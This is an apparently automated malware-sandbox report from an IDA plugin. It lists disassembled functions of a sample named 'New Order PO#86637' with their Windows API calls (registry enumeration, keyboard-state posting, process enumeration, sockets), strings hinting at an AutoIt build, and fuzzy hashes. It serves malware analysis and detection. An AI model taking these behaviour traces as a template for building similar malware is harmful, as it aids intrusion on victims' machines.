Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$FileName_memmove$OpenSave__getptd_wcscpy_wcstok
String ID: X
API String ID: 780548581-3081909835
Opcode ID: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
Instruction ID: 4d78316a312392ccd7929e5b9cc6f9f998d70627324fd0ae594e8e4bf7546d1d
Opcode Fuzzy Hash: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
Instruction Fuzzy Hash: 1381A3315083008FD310EF65C985A5FB7E5AF84318F108A2FF599572A1EB78ED46CB9A

Function 0044734F Relevance: 10.7, APIs: 7, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266

Ellipse.GDI32(?,?,FFFFFFFE,00000000,00000000), ref: 004474C4
MoveToEx.GDI32(?,?,FFFFFFFE,00000000), ref: 004474D4
AngleArc.GDI32(?,?,FFFFFFFE,00000000), ref: 0044750F
LineTo.GDI32(?,?,FFFFFFFE), ref: 00447518
CloseFigure.GDI32(?), ref: 0044751F
SetPixel.GDI32(?,?,FFFFFFFE,00000000), ref: 0044752E
Rectangle.GDI32(?,?,FFFFFFFE,00000000), ref: 0044754A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
String ID:
API String ID: 4082120231-0
Opcode ID: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
Instruction ID: e674395c2b36b0b5590bf657e4107f8d2570055e184bc57fe517c57e0a53fcaf
Opcode Fuzzy Hash: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
Instruction Fuzzy Hash: 36713CB4904109EFEB04CF94C884EBEBBB9EF85310F24855AE9156B341D774AE42CBA5

Function 0046B280 Relevance: 10.7, APIs: 7, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B3A6
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0046B3D2
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 0046B3FD
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0046B430
RegCloseKey.ADVAPI32(?,000000FF,00000000), ref: 0046B459
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0046B492
RegCloseKey.ADVAPI32(?), ref: 0046B49D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Close$ConnectEnumOpenRegistryValue_malloc_memmove_wcslen
String ID:
API String ID: 2027346449-0
Opcode ID: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
Instruction ID: e744fe3a0f0af3658e2b80b3541497a384b181c150b1b14c88f03688e4e42502
Opcode Fuzzy Hash: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
Instruction Fuzzy Hash: 92613D71218301ABD304EF65C985E6BB7A8FFC8704F008A2EF945D7281DB75E945CBA6

Function 0047A66E Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1

GetMenu.USER32 ref: 0047A703
GetMenuItemCount.USER32(00000000), ref: 0047A74F
GetMenuStringW.USER32(00000000,?,?,00007FFF,00000400), ref: 0047A783
_wcslen.LIBCMT ref: 0047A79E
GetMenuItemID.USER32(00000000,?), ref: 0047A7E0
GetSubMenu.USER32(00000000,?), ref: 0047A7F2
PostMessageW.USER32(?,00000111,?,00000000), ref: 0047A884

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$Item$CountMessagePostStringWindow_malloc_wcslen
String ID:
API String ID: 3257027151-0
Opcode ID: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
Instruction ID: 02f8ada5611b6a2978ded3aa89f74167ce8c021908d800e5e23178b580333db3
Opcode Fuzzy Hash: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
Instruction Fuzzy Hash: AA51FA71504301ABD310EF25DC81B9FB7E8FF88314F108A2EF989A7241D779E95487A6

Function 0046D230 Relevance: 10.7, APIs: 7, Instructions: 170networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,?,00000000,00000000,?), ref: 0046D3D3
WSAGetLastError.WSOCK32(00000000), ref: 0046D3E4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLastselect
String ID:
API String ID: 215497628-0
Opcode ID: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
Instruction ID: fadcceb5308e48970113ceaff65c18732520a09434288b0a98514d96d8681c7b
Opcode Fuzzy Hash: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
Instruction Fuzzy Hash: 65510772E001046BD710EF69DC85FAEB3A8EB94320F14856EF905D7381EA35DD41C7A5

Function 004443FC Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0044443B
GetKeyboardState.USER32(?), ref: 00444450
SetKeyboardState.USER32(?), ref: 004444A4
PostMessageW.USER32(?,00000101,00000010,?), ref: 004444D4
PostMessageW.USER32(?,00000101,00000011,?), ref: 004444F5
PostMessageW.USER32(?,00000101,00000012,?), ref: 00444541
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444566

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
Instruction ID: 8f44bbd55e3387c5fecf3766ecc31f273ddc6601011f0052083f6d8a5cbafb33
Opcode Fuzzy Hash: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
Instruction Fuzzy Hash: 2051D6A05047D53AFB3682748846BA7BFE42F86704F08868BE1D5559C3D3ECE994CB68

Function 004445F4 Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00444633
GetKeyboardState.USER32(?), ref: 00444648
SetKeyboardState.USER32(?), ref: 0044469C
PostMessageW.USER32(?,00000100,00000010,?), ref: 004446C9
PostMessageW.USER32(?,00000100,00000011,?), ref: 004446E7
PostMessageW.USER32(?,00000100,00000012,?), ref: 00444730
PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444752

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
Instruction ID: 3b822c4357a53f38689f34ecdfb8cd013e642acfd09065eaf4f6fa9230d15588
Opcode Fuzzy Hash: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
Instruction Fuzzy Hash: 7451D4B05047D139F73692688C45BA7BFD86B8B304F08868FF1D5156C2D3ACB895CB69

Function 0047DDC2 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 170COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0047DE5A
__snwprintf.LIBCMT ref: 0047DEF2
_wcscpy.LIBCMT ref: 0047DF83

Strings

, $, xrefs: 0047DF31
CALLARGARRAY, xrefs: 0047DE4E
AUTOITCALLVARIABLE%d, xrefs: 0047DEE4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __snwprintf__wcsicoll_wcscpy
String ID: , $$AUTOITCALLVARIABLE%d$CALLARGARRAY
API String ID: 1729044348-3025626884
Opcode ID: 4b9553ffb05bb61a93765f5dfb1e0a66324b60b4a152289245f0c89c86547163
Instruction ID: fa375d034fa7217e9d4d929611683fd4ef9c76ca58110cba6d833e9902d6ecd0
Opcode Fuzzy Hash: 4b9553ffb05bb61a93765f5dfb1e0a66324b60b4a152289245f0c89c86547163
Instruction Fuzzy Hash: 5D5184719002099BCB10EF51C982AEFB779EF84308F10856BF905B7281D779AE45CBE9

Function 0045537F Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001308,?,00000000), ref: 0045539F
ImageList_Remove.COMCTL32(?,?), ref: 004553D3
SendMessageW.USER32(?,0000133D,?,00000002), ref: 004554BB
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
String ID:
API String ID: 2354583917-0
Opcode ID: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
Instruction ID: c6eb43681ca9132c11a6020d2ba108f27148fdc9c8ef1f50c91adec3b3f4716e
Opcode Fuzzy Hash: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
Instruction Fuzzy Hash: 76516B74204A419FC714DF24C4A4BB677F5FF8A302F1486AAED998B392D738A849CB54

Function 0044982A Relevance: 10.6, APIs: 7, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
Instruction ID: 5d193f65ffce5f3a1406795a0d9a37a93f2f4887bdc9b14e5c8c629f49d9966a
Opcode Fuzzy Hash: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
Instruction Fuzzy Hash: 0A413871900114ABE710DF58CC84FAF7765EB46320F14826EF858AB3C1C7745D02EB98

Function 0044882A Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004488BD
SendMessageW.USER32(?,00000469,?,00000000), ref: 004488D3
EnableWindow.USER32(?,00000000), ref: 00448B5C
EnableWindow.USER32(?,00000001), ref: 00448B72
ShowWindow.USER32(?,00000000), ref: 00448BE8
ShowWindow.USER32(?,00000004), ref: 00448BF4
EnableWindow.USER32(?,00000001), ref: 00448C09

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Enable$Show$MessageMoveSend
String ID:
API String ID: 896007046-0
Opcode ID: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
Instruction ID: 578be1c3660e2fd518c7beccd973f741d6ce186f3db94e5441c29ef1e5fc56da
Opcode Fuzzy Hash: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
Instruction Fuzzy Hash: 5F419D742003809FF724DB24C894BAB77E0FF96305F18446EF5859B291DB78A845CB59

Function 00448AB2 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000401,?,00000000), ref: 00448AC9
GetFocus.USER32 ref: 00448ACF
EnableWindow.USER32(?,00000000), ref: 00448B5C
EnableWindow.USER32(?,00000001), ref: 00448B72
ShowWindow.USER32(?,00000000), ref: 00448BE8
ShowWindow.USER32(?,00000004), ref: 00448BF4
EnableWindow.USER32(?,00000001), ref: 00448C09

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Enable$Show$FocusMessageSend
String ID:
API String ID: 3429747543-0
Opcode ID: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
Instruction ID: 6f3afe48a64986b2df7f4b22be5166ca64fe0b5af1f2aee4406df3dc20f3ce1d
Opcode Fuzzy Hash: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
Instruction Fuzzy Hash: F331C4706043805BF7248F24CCC8BAFB7D4FB95305F08491EF581A6291DBBCA845CB59

Function 00401250 Relevance: 10.6, APIs: 7, Instructions: 86windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B80: _wcsncpy.LIBCMT ref: 00401C41
Part of subcall function 00401B80: _wcscpy.LIBCMT ref: 00401C5D
Part of subcall function 00401B80: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F

KillTimer.USER32(?,?,?,?,?), ref: 004012D3
SetTimer.USER32(?,?,000002EE,00000000), ref: 004012E2
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 0042730F
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00427363
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 004273AE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: IconNotifyShell_$Timer$Kill_wcscpy_wcsncpy
String ID:
API String ID: 3300667738-0
Opcode ID: 98bdb4639f13a2aff9c284aaa5c14a4e0db979becac89074174bb9299657736d
Instruction ID: ad6fff92b80ef16b1053521cf30c66606da497e43c90b6e238f917110e524b22
Opcode Fuzzy Hash: 98bdb4639f13a2aff9c284aaa5c14a4e0db979becac89074174bb9299657736d
Instruction Fuzzy Hash: AF31EA70604259BFDB16CB24DC55BEAFBBCBB02304F0000EAF58CA3291C7741A95CB9A

Function 0045D448 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D459
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CF
__swprintf.LIBCMT ref: 0045D4E9
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D52D

Strings

%lu, xrefs: 0045D4E3
\VH, xrefs: 0045D49B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu$\VH
API String ID: 3164766367-2432546070
Opcode ID: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
Instruction ID: a5bcfc38f1a54d16d783223dfbe865d4bc924dff4e6617147b97584b2165572c
Opcode Fuzzy Hash: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
Instruction Fuzzy Hash: 11317171A00209AFCB14EF95DD85EAEB7B8FF48304F1084AAF905A7291D774EA45CB94

Function 00450B7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450BE7
SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450BF8
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450C06
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450C17
SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450C25

Strings

Msctls_Progress32, xrefs: 00450BBA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend
String ID: Msctls_Progress32
API String ID: 3850602802-3636473452
Opcode ID: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
Instruction ID: 3e9a69ee1b5e3cb2ffa50bc712587bba9ef5757239c838e11c91c46d95a842ac
Opcode Fuzzy Hash: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
Instruction Fuzzy Hash: 7A21667135030477EB20DEA9DC82F97B3AD9F94B24F21460AFB54A72D1C5B5F8418B58

Function 00433DF5 Relevance: 10.6, APIs: 7, Instructions: 69COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?,?,?,004A8178), ref: 00433E19
EnumProcessModules.PSAPI(00000000,?,00000004,?), ref: 00433E2C
GetModuleBaseNameW.PSAPI(00000000,?,?,00000104), ref: 00433E43
__wsplitpath.LIBCMT ref: 00433E6D

Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50

_wcscat.LIBCMT ref: 00433E80
__wcsicoll.LIBCMT ref: 00433E90
CloseHandle.KERNEL32(00000000), ref: 00433EC8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
